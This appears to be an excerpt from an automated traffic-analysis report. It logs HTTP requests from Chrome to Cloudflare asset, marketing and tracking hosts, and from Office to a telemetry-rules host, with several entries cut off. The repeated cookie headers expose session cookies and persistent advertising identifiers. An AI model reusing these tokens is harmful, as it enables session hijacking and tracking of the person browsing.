mbox=session#626735783297339196435034178331
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/3jxszSMXRhwiwHDa1VPXFw/cc6439cd93a107bd0986bb6d5dcd8a97/network-scale.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; _biz_nA=2; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _biz_pendingA=%5B%5D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Fplans%25252Fenterprise%25252Fcontact%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; mbox=session#62673578329733919643503417833114919531
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/4xn47h0gWiUSwJ0PU3Ysvk/683779108bfd6eeb62fbac5135780fe6/logo_loreal_trusted-by_gray.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; _biz_nA=2; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _biz_pendingA=%5B%5D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Fplans%25252Fenterprise%25252Fcontact%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; mbox=session#626735783297339196435034
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/3fy2mc73AF9xqD18C5760R/f46ab68d38c9adb30a639f69589d8af0/doordash_134.png HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; _biz_nA=2; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _biz_pendingA=%5B%5D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Fplans%25252Fenterprise%25252Fcontact%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; mbox=session#62673578329733919643503417833114919531-
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/1639 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; _biz_nA=2; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _biz_pendingA=%5B%5D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Fplans%25252Fenterprise%25252Fcontact%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; mbox=session#62673578329733919643503417833114919531-BpZSAP#1729096094; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729094220262}; _lr_uf_-ykolez=31c72f27-7fb5-414d-adfe-e159dffa454a; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; _biz_nA=2; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _biz_pendingA=%5B%5D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-54b184b2-7d7e-474c-8850-be872159dbbb%22%2C%22lastActivity%22:1729094230943%2C%22hasActivity%22:true%2C%22recordingConditionThreshold%22:50.12874518679207}; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094231495\|1\|1\|bat.bing.com/p/insights/c/u; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIj
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /ipv?_biz_r=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&_biz_h=-1777624096&_biz_u=9cf0c5c3c8234176adfbc3176fd8b579&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Funder-attack-hotline%2F&_biz_t=1729094235099&_biz_i=Website%20Under%20Attack%3F%20%7C%20Get%2024%2F7%20Emergency%20Support%20%7C%20Cloudflare&_biz_n=2&rnd=230015&cdn_o=a&_biz_z=1729094235101 HTTP/1.1Host: cdn.bizible.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=9cf0c5c3c8234176adfbc3176fd8b579
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=ee7bffdc-bc61-44ab-ada5-93c723955a64 HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/26kszL2y2X7zTR2edZPDUY/1a9d00bc8c441346e6dd06bd82204972/logo_ncr_gray_32px-wrapper.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%2525
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/3JniCZlkcKI9iHgormG8j3/b94cf97c93844f2db74d566fc512aef1/logo_thomson-reuters_gray_32px-wrapper.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; 